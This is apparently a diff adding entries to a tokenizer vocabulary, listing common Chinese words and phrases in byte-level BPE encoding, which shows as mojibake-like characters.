+åıijå±ķ壮大 +åħ»èĢģæľįåĬ¡ +çĶŁæ´»æ°´å¹³ +åIJĦåİ¿ +ä½łéľĢè¦ģ +说çļĦæĺ¯ +å¤ĸåªĴ +æŃ¤äºº +次è¦ģ +追赶 +åºĶ该å¦Ĥä½ķ +æĹ¥åĩĮæĻ¨ +çķ¥æľī +éĥ½æĥ³ +游ä¹IJ +è¿Ļ款游æĪı +平淡 +æĺ¯ä¸ĢåĢĭ +å¤ĩèĢĥ +åζæŃ¢ +ä¸Ģå®ļèĥ½ +å¾Ĵå¼Ł +以çĤº +åįĥåħĥ +äºĶåħŃ +迪士 +迪士尼 +éĺ³æĢ§ +åĨ¬å¥¥ä¼ļ +å°±æĺ¯åĽłä¸º +æĮĤéĴ© +æ¦ĤåĨµ +åıªè¦ģæľī +æ²¹çĶ» +åľ°æłĩ +ä¸Ĭè°ĥ +产ä¸ļåĽŃåĮº +åħ«åįģ +棱 +æ¶²æĻ¶ +æĿijå§Ķä¼ļ +çŃ¾çº¦ä»ªå¼ı +è¿Ļåħ¶ä¸Ń +åĨĻéģĵ +示èĮĥåŁºåľ° +éĩİçĶŁåĬ¨çī© +鼻åŃIJä¿¡ç®± +åĽ½éĻħè´¸æĺĵ +人æĿĥ +ä¿Ŀ管 +èĭ¥æĤ¨ +åİĭæĬij +黼 +åľ°çľĭçĿĢ +éϰ +ä¸Ģå¹´å¤ļ +ä»İ容 +ä¸ŃæĸŃ +å¯Łè§ī +移交 +é͝ +æĪĸ许æĺ¯ +ç¶ł +两项 +æľĢåĸľæ¬¢ +æľĢåĸľæ¬¢çļĦ +å¤ľéĩĮ +åIJĮä»ģ +åĪĽæĸ°é©±åĬ¨ +è°ģèĥ½ +飾 +åħīåѦ +åİĦ +èĦ±é¢ĸ +èĦ±é¢ĸèĢĮåĩº +迦 +æĺ¯ä¸įåı¯èĥ½ +窥 +èĥ½æ»¡è¶³ +宽度 +伦çIJĨ +åı¯ä»¥èİ·å¾Ĺ +转ä¼ļ +å±±æĿij +éĵºè®¾ +åĩºåĩ» +æĸĩåĮĸèīºæľ¯ +ä¼ļ议室 +æŃĮ声 +æ»Ķ +èIJİ缩 +æľįåĬ¡åijĺ +åıij表äºĨ +æĸ¼æĺ¯ +æĺİç¡®è§Ħå®ļ +ç»´å¥ĩ +水产 +æĬķä¿Ŀ +éĺ´éģĵ +èµ¶å¿« +夺å¾Ĺ +ä¸ĭåįķ +çµģåħ¬åı¸ +çݯç»ķ +å½Ī +ä½ľé£İ建设 +æĹħ游æĻ¯åĮº +æľīæĽ´å¤ļçļĦ +丰å¯Įå¤ļ彩 +çIJĨ财产åĵģ +åĩºå·® +ä»İ严治 +ä»İ严治åħļ +çĽ¸å¹² +æ»ĭ润 +主åĬŀæĸ¹ +åī§åľº +æ»ļçIJĥ +æ©Ħæ¦Ħ +èĩªä¸»åĪĽæĸ° +éĢļå¾Ģ +æł¼å°Ķ +çļĦä¼ĺçĤ¹ +èĥĮä¸Ĭ +çªľ +çĪĨåĩº +å¹³æķ´ +ä¸ĢèĦļ +åħ¨ä½ĵåijĺå·¥ +éĻIJå®ļ +åŁİéķĩåĮĸ +æ·³ +éĢ®æįķ +è¡ĮåĬ¨è®¡åĪĴ +æīĵå¾Ĺ +åİļéĩį +纪å½ķçīĩ +åĿļä¿¡ +央ä¼ģ +åĨįä¹Łä¸į +天涯 +åıĤèĢĥèµĦæĸĻ +æľīæ¯Ĵ +åIJ¸çº³ +è¶Ĭåıij +éĩįè¦ģæĦıä¹ī +åĽ½éĺ²éĥ¨ +è¿Ļ个è¡Įä¸ļ +æĻ®æŁ¥ +å¼ĤæĢ§ +å»¶è¿Ł +å°ıå¹ħ +èĥħ +综åIJĪæ²»çIJĨ +æŃ£æĺ¯åĽłä¸º +产ä¸ļç»ĵæŀĦ +çłĶç©¶æĬ¥åijĬ +åģľä¸ĭ +éķ¿èĢģ +éĩĿå°į +åįĹ京å¸Ĥ +çģĮæºī +转è¿IJ +欺è¯Ī +éĢłåģĩ +åĪĨå¸ĥå¼ı +æĦŁè§¦ +æĪijå½ĵæĹ¶ +åıijè§ī +åĽ¾çº¸ +æĶ¹èī¯ +çĭłçĭł +åĨ²åĪº +æĸ°äº¬ +æĸ°äº¬æĬ¥ +ç¥ŀåύ +秸ç§Ĩ +çĪº +å°Ĩè¿İæĿ¥ +工信 +工信éĥ¨ +éĻIJéĩı +æŃ¢æįŁ +åѦä¼ļäºĨ +åįİ缼 +åįİçĽĽé¡¿ +å¾Įä¾Ĩ +ä¸ĭéĿ¢æĺ¯ +ä¸ĭéĿ¢æĺ¯å°ı +æIJ¬è¿IJ +ç¾İæľ¯é¦Ĩ +æ¸ħåĩī +å¤ļå¹´åīį +è©ŀ +åįĥç±³ +表述 +æ±ŁéŨ +åĬłæ²¹ç«Ļ +æľ¬èĥ½ +导读 +åĽ´è§Ĥ +å¹¶åIJij +åŁºæľ¬æĥħåĨµ +æīĵå¼ĢäºĨ +è¿Ļä¸ī个 +æ±ķ头 +强æľīåĬĽ +强æľīåĬĽçļĦ +è¿Ľåľº +ä¹Ŀæ±Ł +çIJĥæĺŁ +好çľĭçļĦ +大æĪ· +湯 +å¥ĩå¦Ļ +ä¹IJåύ +æĪijçļĦå¿ĥ +çľī头 +åĨľä¸ļçĶŁäº§ +ç¼ĸçłģ +åŁºç¤ +åŁºç¤İ +天æĸĩ +åĢĭ人è³ĩè¨Ĭ +åİ»è¿ĩ +èģĨåIJ¬ +æĶ¾åģĩ +ä¸įåħ·å¤ĩ +æ·Ģç²ī +大佬 +åħ¨å¤© +åħ¨éĿ¢å»ºæĪIJ +éļIJå½¢ +ç¼ħç͏ +åIJ³ +è¡ĮæĶ¿æī§æ³ķ +åŁİåł¡ +èİ«æĸ¯ +èİ«æĸ¯ç§ij +æīĢæľīæĿĥ +éĽĨåľĺ +å±Ģåī¯å±Ģéķ¿ +åĩłä¹İ没æľī +æ´ģåĩĢ +ç͵影èĬĤ +åŃ©ç«¥ +æīĢåģļçļĦ +æ¸ħ代 +æĸ°çīĪ +éĵĿåIJĪéĩij +为æĬĵ +为æĬĵæīĭ +åΤå®ļ +çī¹äº§ +æīĭæ©Ł +ä¸įåı¯æĪĸ +ä¸įåı¯æĪĸ缺 +å¸Ĥåľºè§Ħ模 +åĿ¯ +åĮ»åѦéĻ¢ +å¿«è¦ģ +èĮľ +æĬĺèħ¾ +äºĨè¿ĩæĿ¥ +æĬ¥åijĬæľŁåĨħ +çī©ç§į +ç»Łè®¡å±Ģ +æī©å»º +æ¶ħ +责任人 +éĺİ +è¯Ħè®® +å¾Ģäºĭ +æīĢ示 +æķ´æ´ģ +éĹºèľľ +æĹħéĢĶ +å®ŀè®Ń +ä¹ĭç§° +巴士 +éĢŁåº¦å¿« +ä¸įä»ħå¦ĤæŃ¤ +å®Ŀè´µçļĦ +åºŁçī© +河水 +æİ¥çº³ +ç²¾æ¹Ľ +åħ¶æ¬¡æĺ¯ +顺德 +åħ¬åħ±åį«çĶŁ +è¤IJèī² +ä¸įæĥľ +æĬĢæľ¯æľįåĬ¡ +æİ· +æ±ĤèģĮ +ä¸ī峡 +æĬķåħ¥åΰ +太åIJİ +åIJ¯åĬ¨ä»ªå¼ı +缴æİ¥å½±åĵį +æĸ°æ¬¾ +个乡éķĩ +çĻ¾äº¿ +庫 +ä¹ŁæŃ£æĺ¯ +åı¶çīĩ +æľĢæĹ©çļĦ +æĪĺ绩 +å·¥æľŁ +æĻļæľŁ +è¿Ļæł·è¯´ +è¯įè¯Ń +ä¾Ħ +æķ£çĥŃ +éĽĨæĪIJçĶµè·¯ +åIJįè¯į +æĻºåķĨ +æĭ¥åłµ +çĭĤ欢 +è¿Ļèά +浴室 +åijķåIJIJ +æľªæĿ¥åıijå±ķ +ä¸īä½įä¸Ģä½ĵ +åªĴé«Ķ +ä¸įå¾Ĺ转载 +åĽłä¸ºå¥¹ +æĺ¾ç¤ºå±ı +ä¾Ľæļĸ +éĨ«éĻ¢ +æľīæĦıæĢĿ +æľīæĦıæĢĿçļĦ +娱ä¹IJåŁİ +åįµå·¢ +åĪĽéĢłåĬĽ +竳èĬĤ +人大常å§Ķ +èĢĮçİ°åľ¨ +å¤ĸå©Ĩ +å¢ŀæĮģ +äºĶåįĥ +èĢģå¸Ī们 +æ´ĽæĿī +æ´ĽæĿī磶 +æİĮæı¡äºĨ +ä¸ŃåĽ½æĸĩåĮĸ +æĸ°æĶ¿ +主è¦ģç͍äºİ +åıijçĥ§ +类似äºİ +åĮĹæŀģ +æĪij们认为 +弥漫 +åħ¨çIJĥç»ıæµİ +é¢IJ +ä¸Ģèµ·è£ħä¿® +æĶĴ +æĭīèIJ¨ +帶ä¾Ĩ +åĨ·æ°´ +ä¸īåĨľ +æĿ¿æĿIJ +è¿ŀè¿ŀ +éĵ® +ç»ıèIJ¥çIJĨ念 +山顶 +å¾Īæĥ³ +çĺ« +å§ĭç»Īä¿ĿæĮģ +åľ¨å¹¿å·ŀ +ä¸įåIJĮæĦı +åıĺåİĭ +åıĺåİĭåύ +产éĶĢ +表éĿ¢ä¸Ĭ +æīĢ以ä»ĸ +ç»ıéªĮ丰å¯Į +éĥ¨å§Ķ +åħµåĽ¢ +æīĢè¿° +æķ¦çħĮ +ç»ıèIJ¥èĮĥåĽ´ +åı£è¯Ń +失信 +æ¯ı个人çļĦ +æīĭæĮģ +æģIJæħĮ +åł¡åŀĴ +é¦ħ +éĵ¸éĢł +æĭ¿åĩºæĿ¥ +æİ¢æµĭ +大家ä¸Ģèµ· +奧 +å®ŀè´¨æĢ§ +å°ıåĦ¿ +èĩºåįĹ +èĩºåįĹå¸Ĥ +å¼ĢåıijèĢħ +åı¯æł¹æį® +ç®±åŃIJ +饺åŃIJ +å¿ĻçĿĢ +æĿ¥ä¸įåıĬ +çĽ¸ä¼ł +åĽ½ç½ij +èħ¹æ³» +è¿ĻéĩĮæľī +é£İæĻ¯åĮº +åıĤä¿Ŀ +æŃ»èĢħ +æĪ´ä¸Ĭ +æ©Łæ§ĭ +è¯ķéªĮåĮº +ä¼łæİĪ +æµ·è¾¹ +泪水 +缸åħ³åĨħ容 +éĥijå·ŀå¸Ĥ +åħijçݰ +两åij¨ +èĬľæ¹ĸ +ç͵åŃIJä¿¡æģ¯ +红å¤ĸ +æĹħ游å±Ģ +å¾Ģå¾Ģä¼ļ +è¿ħçĮĽ +ä¼łçľŁ +æ¸ħæ¾Ī +å°±è¿ij +微信群 +ç³»åĪĹæ´»åĬ¨ +ç»ı常ä¼ļ +è§Ĥæµĭ +å¿ĥå¾Ĺä½ĵä¼ļ +éĻĪåĪĹ +åĮĹæĸĹ +è«® +諮詢 +è¿ĺæĺ¯ä¼ļ +æµĭç®Ĺ +æĺŁç©º +宽容 +çī©ä¸ļåħ¬åı¸ +æĪĴæĮĩ +å¸ħæ°Ķ +ä¸ĢæŃ¥æŃ¥ +åħ±é¸£ +åĨ³ä¸į +æİ¥ç®¡ +å¦ĩèģĶ +æ¯Ķåĸ» +é²ģè¿ħ +æĮģçºĮ +çĽ¸äº² +å¨ģå°¼æĸ¯äºº +ç«ĭ项 +åĪĿå§ĭ +èĩªåζ +è¿Īè¿Ľ +ä¸Ĭæ±½ +å®ıä¼Ł +æł¹æľ¬æ²¡æľī +æĸ°åĨłçĹħæ¯Ĵ +åĵªç§į +康åħ» +è¡°èĢģ +å½ķåĥı +é«Ķé©Ĺ +ç»ijå®ļ +é¢Ŀ头 +äºĶæľĪ +èĬ±å¼Ģ +ä¸Ģ线åŁİå¸Ĥ +åĪ°åľº +æĬķéĻį +çĹĺçĹĺ +åıĹä¸įäºĨ +æīİæł¹ +æĽ´ä½ķåĨµ +æĬ½æŁ¥ +åĩºè·¯ +审议éĢļè¿ĩ +ä¸įåĥħ +èī²è°ĥ +çϾä½Ļ +èĤłéģĵ +æ·±åİļçļĦ +马åĬĽ +æĹ©æĻļ +æŃĮèĪŀ +éĺ²æĻĴ +æľĢåIJİä¸Ģ个 +樱èĬ± +å°ıä¼ĻåŃIJ +åľ¨å½ĵåľ° +å°ıä¼Ļ伴们 +èµ·æºIJ +åħ¨åªĴä½ĵ +ç°½ +éħ±æ²¹ +æĹłè®ºå¦Ĥä½ķ +裤åŃIJ +åģľäº§ +ä¸įçͱå¾Ĺ +çīµå¼ķ +ä¼łåĬ¨ +ä¹Ŀé¾Ļ +åĬłåĽº +ä¹Łä¸įæķ¢ +æĬĢæľ¯æĶ¯æĮģ +ä¸Ĭå²Ĺ +ç»ıéªĮåĴĮ +æł¼æŀĹ +åIJ¸éĻĦ +æľªæĪIJå¹´ +奢ä¾Īåĵģ +追æį§ +好ä¸į容æĺĵ +èķ´åIJ« +ä¿Ŀå®ļ +æĬ¥ä¸ļ +æµ·åĨħå¤ĸ +ä½łçİ°åľ¨ +æ²¹èĢĹ +è´¨éĩı管çIJĨ +æ½ľæ°´ +ä¸½æ±Ł +转åħ¥ +è¿Ļä¹Īä¹ħ +æĺİ代 +责任åζ +éĩįå·¥ +大巴 +触åıĬ +èµ·åĪĿ +大å¦Ī +æĸ¯å¡Ķ +åĨĽå·¥ +书éĻ¢ +峨 +æİ¨çIJĨ +è¿Ļç¯ĩæĸĩ竳 +è¿ģç§» +åľ¨åIJĮä¸Ģ +ç»Ĩç»Ĩ +åīĬå¼± +书æĪ¿ +ç¶ĵ常 +è¯ķé¢ĺ +æĤ£ä¸Ĭ +çĻ«çĹ«çĹħ +åĨ²æ´Ĺ +å¤ĸæı´ +åħĭåζ +åįģæľĪ +åģļä¸įåΰ +ç¾İåĮĸ +å¦ĤæľŁ +è¿ĺéľĢ +å¤©åºľ +å°±æĦıåij³çĿĢ +çļĦç¡®æĺ¯ +éªĹå±Ģ +å°ıç»ĦèµĽ +è©© +ä¹Ŀå¹´ +æĻĵå¾Ĺ +çłĶ究人åijĺ +大éħĴåºĹ +ç§ijåѸ +åħŃåIJĪ +çķĮå®ļ +车载 +å¼ĢçĿĢ +毫æĹłçĸij +毫æĹłçĸijéĹ® +è¿IJç»´ +ç¦ģåĮº +èĦ±èIJ½ +讲å¸Ī +产ä¸ļåŁºåľ° +é«ĺæĢ§èĥ½ +åħī彩 +çݰéĺ¶æ®µ +åĩ¿ +è¾ĥå·® +饮çĶ¨æ°´ +éĸĭçϼ +ç½ijåIJ§ +çĮ´åŃIJ +æŃ¦æŀĹ +å®īåİ¿ +ä¸įåı¯æĢĿ +ä¸įåı¯æĢĿè®® +éĬ·åĶ® +è´«ç©· +为åķ¥ +éºĵ +å¹¾åĢĭ +è§Ħ模以ä¸Ĭ +æıļ +è¢«åĽ° +缺å¸Ń +å¿«é¤IJ +æĬ¢åįł +æĻŁ +å¤įæ´» +æľ¬æĬ¥è®¯ +åĪĽä¸ĭ +海滩 +éĩı产 +å¦Ĥä½ķåİ» +车ä½į +å¯ĩ +äºĮåįģåĽĽ +ç»ıæµİæįŁå¤± +éħįå¥Ĺ设æĸ½ +åŁºæľ¬éĿ¢ +äºī论 +就好åĥı +çłĶç©¶æĪIJæŀľ +éĻĪè¿° +æīĵåĬ¨ +ä¸ĭå·´ +ç§ĴéĴŁ +对人ä½ĵ +æĬĢæľ¯çłĶåıij +åİŁåŃIJ +æĺ¯ä¸Ģ项 +äºĨä¸Ģ份 +æĮĩçͲ +ç͍éĩı +è¿ĺä¸įå¤Ł +æĶ¿åºľéĩĩè´Ń +çŁ¥è¯ĨçĤ¹ +ä¸ŃåĽ½æ¢¦ +å¾Īå¼Ģå¿ĥ +礼è²Į +éĿŀ常å¤ļ +éĿŀ常å¤ļçļĦ +åĽļ +æĹħé¦Ĩ +å°½æĥħ +æŃĮåͱ +æ²Ļé¾Ļ +车åİ¢ +客æµģ +åģıå·® +积累äºĨ +æ¡Ķ +çĶ»çĶ» +ä¹ŁåºĶ该 +åºĶç͍ç¨ĭåºı +èĥĥèĤł +以å¾Į +豪å®ħ +æ·±åĬłå·¥ +缴è¨Ģ +åĮĸçŁ³ +åĽ½éģĵ +ä¸ĥ个 +ä»İèĢĮ使 +èĤłèĥĥ +æĹ¥è¶ĭ +çζåŃIJ +ç·© +æĭĽçīĮ +产å¦ĩ +çķªèĮĦ +æĪijéĻ¢ +建çŃijå·¥ç¨ĭ +å±ķè§Īä¼ļ +å®¶éķ¿ä»¬ +åĨľä½ľçī© +æĹ¥å¤ľ +æĶ»æĵĬ +è§Ħéģ¿ +èĪŁå±± +便æ°ij +åħ«åŃĹ +ä¸įæĽ¾ +æĶ¯éħį +çĨ¬å¤ľ +人é¡ŀ +ç´ĢéĮĦ +ç»ıèIJ¥æ´»åĬ¨ +大涨 +å¸Ĥå§Ķ常å§Ķ +åĪĨéIJĺ +ä¸Ģ个èģĮä¸ļ +çĹħåĽł +è¿Ļ对äºİ +ä¸įå¾Ĺä¸į说 +åıijçĶµæľº +æľīæīĢ帮åĬ© +缮æłĩä»»åĬ¡ +åĽłåľ° +åĽłåľ°åζ +åĽłåľ°åĪ¶å®ľ +å°Ĩè¾¾åΰ +ç²Ĺç³Ļ +ç¨³åĽº +å«£ +çİ°åľ¨å¾Īå¤ļ +ä¸ĸçķĮ级 +å¼łæŁIJ +çĤ¹ç¼Ģ +èijµ +社ä¼ļç»Ħç»ĩ +å¾ĢåIJİ +åĬłæģ¯ +åĻªå£° +æľīåħ´è¶£ +为æĤ¨æıIJä¾Ľ +æ²¹æ¼Ĩ +ç¬¬åĽĽå±Ĭ +çļĩ宫 +ä¹Ĵä¹ĵ +ä¹Ĵä¹ĵçIJĥ +éļ¨èijĹ +éģ©åIJĪ +åįĹéĿŀ +æĵ´ +西æ´ĭ +åĬłå¯Ĩ +æĪIJåĬŁä¸¾åĬŀ +åı£æ°´ +æĪIJ年人 +æīĢæıIJä¾ĽçļĦ +éļĶå£ģ +åľ¨äº¬ +å½ĵåľ°æĹ¶éĹ´ +çŃīåIJĦç§į +é£İæ°Ķ +å±ĭéĩĮ +ä¸ĢåŃĹ +çļĦæĹ¶éĹ´éĩĮ +åĺ¿åĺ¿ +快讯 +ä¸Ńåľº +ä¸Ģçĵ¶ +æ»ķ +é¢Ĩè·ij +好èݱ +好èݱåĿŀ +没åħ³ç³» +åĩºå¢ĥ +ä¸įæĺ¯ä¸Ģ个 +éĥ½æĺ¯éĿŀ常 +éľĩåĬ¨ +èİ·èĥľ +åįļå¼Ī +æĬļåħ» +对ç«ĭ +æľįåĬ¡æľºæŀĦ +è°£è¨Ģ +社ä¼ļç§ijåѦ +åIJ¬è¯´è¿ĩ +æī³ +æīĵ磨 +åı£æľį +好åĥıæĺ¯ +以åıĬåħ¶ä»ĸ +çī¹è´¨ +亲è¿ij +ä¸Ģç»ı +æ¶Ŀ +éŃĶæľ¯ +éģĵ路交éĢļ +è§Ħ模æľĢ大 +å®ŀæĸ½æĦıè§ģ +ä¹ŀ +ä¸Ģä¸ĸ +åŁ·è¡Į +è±Ĩçĵ£ +åĪĹ为 +æķħ宫 +çĶŁåij½åij¨æľŁ +ä¸īç§įèģĮä¸ļ +详ç»Ĩä»ĭç»į +å®Įå¤ĩ +å²©çŁ³ +éļıæīĭ +飲 +æķĪæŀľåĽ¾ +ç§ĭåĨ¬ +åĬŁå¾· +è§Ħ竳åĪ¶åº¦ +æĹ¥æ¸IJ +æīĢéľĢè¦ģ +æīĢéľĢè¦ģçļĦ +å²Ľä¸Ĭ +åĩºåľŁ +åĽ¾æĸĩ +ç§ijæĬĢè¿ĽæŃ¥ +éĢļèĥĢ +èĢģ太太 +èĭĹæľ¨ +éĵ¶å·Ŀ +å¸IJ篷 +éĿŀè¦ģ +éħįç͵ +å¤Ħå¢ĥ +èĤ¡æĿĥæĬķèµĦ +ä¸Ģ缴åΰ +åĿĩçͱ +æĬĹæĹ¥ +æį®ä»ĭç»į +ä½łåĸľæ¬¢ +åĪĽæĸ°åŀĭ +åıĺè¿ģ +è§Ĩå¯Ł +å®Įåħ¨æ²¡æľī +åħĥæĹ¦ +åı¯ä¿¡ +åı¦è¡Į +æĿij级 +åħ¥åľº +æIJŃæ¡£ +ä¹ŁåĽłæŃ¤ +æį¢æĪIJ +ä¸įè´Ł +äºĨ大éĩıçļĦ +éģĶåΰ +å¸Ĥåİ¿ +å¹´è¼ķ +å¿«æīĭ +å¸Įå°Ķ +èĩªèIJ¥ +éĽªèĬ± +æIJģ +çľ¼ç§ij +æŃ£ç¢º +çļĦå§¿æĢģ +åĿļå®ŀçļĦ +æĮĩ纹 +æªĶæ¡Ī +ç½®äºİ +佩æľį +豪éŨ +åĵĴ +æģ°å¥½ +æª¢æŁ¥ +åĪĿè¡· +大åĶIJ +约ä¼ļ +èĴ¸åıij +çѹåĪĴ +å¹´ç»Ī +è¡Įæ¥Ń +åħ±éĿĴ +åħ±éĿĴåĽ¢ +ä¼ļå¼ķèµ· +ä¸Ńç§ij +ä¸Ńç§ijéĻ¢ +æĮ¯åĬ¨ +åį´åıijçݰ +ä¸įåĬ¨äº§ +èĮ¹ +æĪ¿éĹ´éĩĮ +è´§å¸ģæĶ¿çŃĸ +æ²»çĻĤ +æħİéĩį +å¡ŀå°Ķ +åĽ½ç±į +åĽłæŀľ +çŃīçī¹çĤ¹ +山谷 +ä¸ĭè¼ī +è®ĵæĪij +饮éħĴ +è¿Ļ个游æĪı +ç»Ŀ大éĥ¨åĪĨ +åĴ¨è¯¢æľįåĬ¡ +干活 +è®®ä¼ļ +æ¦Ĥè¿° +åĪĨåĮº +æŃ»åIJİ +ç«ĻçĿĢ +主è¦ģé¢Ĩ导 +åIJĮåŁİ +大æłij +对åѦçĶŁ +社ä¼ļä¿ĿéĻ© +å¢ŀèµĦ +主人åħ¬ +å®£ä¼łæķĻèĤ² +æĸĩåĮĸ交æµģ +客æĪ¶ +çŁ¥åIJįåĵģçīĮ +æ»ŀåIJİ +äºĴè¡¥ +æĦŁäºº +åī¿ +åIJİ代 +äºī龸 +æķĻèĤ²åٹè®Ń +éĿĻèĦī +ä¹ıåĬĽ +说åĩºæĿ¥ +çİĭèĢħèį£èĢĢ +åĢ« +åįĩèµ· +éķģ +åĩºæ¸¸ +éĢļè¡Įè¯ģ +å·¥ä½ľå²Ĺä½į +åĮłå¿ĥ +æĭ¿æĿ¥ +æ´Ĺè¡£æľº +æĪijä¸įæĥ³ +é¢Ħè§ģ +æ¼Ķ示 +ä¸ĢçĽ´æ²¡æľī +è·Łå¥¹ +对çħ§æ£ĢæŁ¥ +ç°¿ +ä¸ĵå¿ĥ +è®®äºĭ +åīį端 +åį¡å°Ķ +è¨Ńå®ļ +设置äºĨ +å©ļ纱 +åľ¨åĽ½å¤ĸ +åı³ä¾§ +è³¼çī© +å¥ĩèij© +å¢ŀåĬłå̼ +好è¿IJ +åĽ½éĻħæľºåľº +ä¸ĭç§° +缮åīį为æŃ¢ +ç¥ŀä»Ļ +å®ĥåı¯ä»¥ +æ¾Ħæ¸ħ +èĥ½ä½¿ +游åĩ» +游åĩ»éĺŁ +åĩ¹ +ä¸įè¦ģåĨį +åĨ³èĥľ +åĨ³æĪĺ +æĭ½ +缼åħ¸ +å¾Īå¥½åľ° +æľĢç¾İçļĦ +åĥļ +å·´åŁº +å·´åŁºæĸ¯åĿ¦ +æľĢéĢĤåIJĪ +é«ĺèģĮ +ä¿Ŀå§Ĩ +æİĪæ¬Ĭ +说åΰè¿ĻéĩĮ +æİ¨å¼Ģ +çİĩè¾¾ +ä¸īåĪĨä¹ĭä¸Ģ +管çIJĨä¸Ńå¿ĥ +交æ±ĩ +森æŀĹåħ¬åĽŃ +å¾Ģä¸Ĭ +éªijè¡Į +æį®æŃ¤ +纽带 +ç»ŀ +ä¸īæĸ¹ +æĦıä¹īä¸ĬçļĦ +æİ¨è¿Ł +å¤ļæł·æĢ§ +æĥ³èµ·äºĨ +æİĴåIJį第 +å·¨é¢Ŀ +æĿŁç¼ļ +å®īå®ļ +äºĭ實 +çļĦæĦ¿æľĽ +è£ħå¤ĩåζéĢł +人å±ħ +人å±ħçݯå¢ĥ +å¿ĺè®°äºĨ +该游æĪı +楼ä¸Ĭ +å¼Ģä¼ļ +æģ³ +åıĭæĥħéĵ¾æİ¥ +ç¡Ĵ +ç»ĻäºĪäºĨ +åģı好 +åĵī +交éĢļå®īåħ¨ +éĽĮ +æ²»çĹħ +è§īå¾Ĺå¾Ī +衬衫 +å¿ĥæĦ¿ +æ´ŀå¯Ł +æ°ijæ£Ģå¯ŁéĻ¢ +æıIJçĤ¼ +è¦ģè¿Ľä¸ĢæŃ¥ +驾车 +æĻ®æĥł +æķĸ +ç¦ıéŁ³ +éĢģè¾¾ +è§ĦåĪĴ设计 +æīĭå¥Ĺ +å®īä¿Ŀ +è¿ĺä¸įå¦Ĥ +åīįè¿° +æłĩè®° +ç´§æİ¥çĿĢ +æ§IJ +æ·±æ·±åľ° +满满çļĦ +æĺ¥è¿IJ +æĹ¥äº§ +çαæĬ¤ +åħ¨æĹ¥ +åħ¨æĹ¥åζ +转åĬ¨ +ç¥Ńç¥Ģ +ä¹°ä¸ľè¥¿ +å¯¹æľªæĿ¥ +æ¶Ī失äºĨ +åļ´éĩį +ä¸īæĿ¡ +éħ¸å¥¶ +éĽĨåĽ¢èĤ¡ä»½ +西路 +åıªå¾Ĺ +éĢģåİ» +çĭłæĬĵ +åĪ©ç͍çİĩ +ä¸ĭåij¨ +å¥ĭæĪĺ +æĺ¥èĬĤæľŁéĹ´ +è´Łè´£ä»» +æĺĤè´µ +尾巴 +ç¯ĩæĸĩ竳 +åħ® +è®ĬæĪIJ +å¹¹ +çĻ»éĮĦ +ä½Ī +å·¥åĮł +åĵªæĢķæĺ¯ +åıįåĵį +ç§ĥ +åĩºè½¨ +æĹ¥åĨĽ +åIJįèªī +æķıéĶIJ +æľįåĬ¡æ°´å¹³ +çħ§å°Ħ +ä¼Ĭæĭī +ä¼Ĭæĭīåħĭ +åĨħéĺģ +èĬĴæŀľ +ä¸ĩåĪĨ +éĢĢæ¬¾ +缴æĴŃéĹ´ +æĭ¿åΰäºĨ +å°İèĩ´ +空æ°Ķä¸Ń +客æĪ·æľįåĬ¡ +è¿IJåĬ¿ +ç»ĵçŁ³ +ä¸įå¿ħè¦ģçļĦ +èĥ¶åĽĬ +çIJĨä¼ļ +æĬ½åĩº +空æ°Ķè´¨éĩı +æ¯ķ竣æĺ¯ +åĨ·æ¼ł +ä¸Ģå¦Ĥ +ä¸Ģå¦ĤæĹ¢ +ä¸Ģå¦ĤæĹ¢å¾Ģ +æĤ£çĹħ +åĬłæĮģ +èµŀåĬ© +é«® +åij½ä¸Ń +æĦıä¹īä¸Ĭ +ä¸įèĪį +å쬦 +æīĵæī« +æĺŁåħī +æĸŃè£Ĥ +åħ¨å¥Ĺ +è£ģå®ļ +马åħĭæĢĿ +骨骼 +ä¸Ģè·¯ä¸Ĭ +å®ļæĹ¶ +å·¥ç¨ĭæĬĢæľ¯ +å½¼å¾Ĺ +æ±²åıĸ +ä¸Ģè§Ī +åIJµæŀ¶ +ä¿Ĺç§° +æłªæ´² +åºŁæĹ§ +è¡ĮæĺŁ +åıijçĶŁåıĺåĮĸ +é¦ĸä»ĺ +åįģåĪĨéĩįè¦ģ +æĬĬè¿ĻäºĽ +ç¥ŀå·ŀ +æıIJä¾ĽåķĨ +楷 +å±İ +çĬ¶åħĥ +åŁİå¢Ļ +çľĭä¸Ģçľĭ +çĶŁäº§èĥ½åĬĽ +åŁºæľ¬ä¸Ĭéĥ½ +æīĵæī° +åĪĿ次 +åĩºç¤º +åħ¶ä¸Ńä¸Ģ个 +çĶŁæĢģç³»ç»Ł +æīĭæİĮ +æµİåįĹå¸Ĥ +åľĭåħ§ +æŃ£å̼ +å¹¾ä¹İ +æİ¨èįIJéĺħ读 +è¿Ń代 +è°ĥä¾ĥ +饮åĵģ +å¢Ļä½ĵ +åıĺçݰ +äºĨ好 +äºĨ好åĩł +ä¸įçķĻ +çβ +å°½æĹ© +æŃ£åľ¨è¿Ľè¡Į +åĩºéĻ¢ +æĿĢ害 +æıIJ款 +åıijå±ķ空éĹ´ +åīį身 +ä¸įæĸŃå¢ŀ强 +æ·±å±Ĥ次 +容纳 +éĤ£ä»½ +å·¥ä½ľæķĪçİĩ +æľ¬åĽ½ +失èIJ½ +æŃ£åĽłä¸º +èĬĤæ°´ +ä¸ĭä¸Ģ代 +çłĶåıijä¸Ńå¿ĥ +ä¸įçIJĨ +å®Į好 +ä¿ĿæĬ¤åĮº +ç»ĵæŀĦè°ĥæķ´ +å¥łå®ļ +宣称 +éĺ»æĮ¡ +æĴ¤ç¦» +ä¸įæĸ¹ä¾¿ +åĴķ +ç¬ijäºĨç¬ij +çݯå¢ĥ污æŁĵ +ä½ıæĪ· +ç»Ŀç¼ĺ +éϤå°ĺ +é«ĺå°ļ +æĢİä¹Īåı¯èĥ½ +éĿ¢èī² +åķĨæ¥Ń +çĸ¹ +èµĦæºIJä¼ĺåĬ¿ +è¾ĸåĮºåĨħ +èĢĢçľ¼ +æij§æ¯ģ +ä¸ĸçķĮç»ıæµİ +å¼ķæĿ¥ +ä¸ĢåĪĻ +æĭĩæĮĩ +æĬµå¾¡ +éĽį +åĩĨå¤ĩå·¥ä½ľ +çıłä¸īè§Ĵ +ç¨ĢåľŁ +èİ·å¾ĹæĦŁ +æĪIJåĬŁçİĩ +ç½ij约 +ç½ij约车 +èĦIJ +æķ¬ä¸ļ +éĩijä»· +ç²¾é«ĵ +买车 +åħ³åı£ +åĨįå¤ļ +æŀģåĵģ +åIJĦå®¶ +举æĬ¥ç͵è¯Ŀ +èļĬ +æĸ¹å½¢ +ç§ijæĬĢæĪIJæŀľ +æľĢ好æĺ¯ +éĹ®åĢĻ +红éħĴ +åĽĽç§į +ç¿Ĵæħ +ç¿Ĵæħ£ 